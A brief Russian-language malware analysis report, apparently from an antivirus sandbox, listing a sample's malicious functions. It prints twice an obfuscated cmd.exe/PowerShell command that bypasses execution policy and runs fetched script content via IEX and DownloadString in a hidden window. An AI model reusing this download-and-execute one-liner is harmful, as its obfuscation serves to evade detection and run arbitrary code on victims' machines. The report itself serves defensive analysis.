Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- z:\desktop\calc.txt
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^o^w^e^r^s^h^e^l^l -n^o^e^x^i^t -E^x^e^c B^y^p^a^s`s I`E`X (New-Object Net.WebClient).DownloadString('Z:\Desktop\calc.txt')"
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^o^w^e^r^s^h^e^l^l -n^o^e^x^i^t -E^x^e^c B^y^p^a^s`s I`E`X (New-Object Net.WebClient).DownloadString('Z:\Desktop\calc.txt')"' (со скрытым окном)
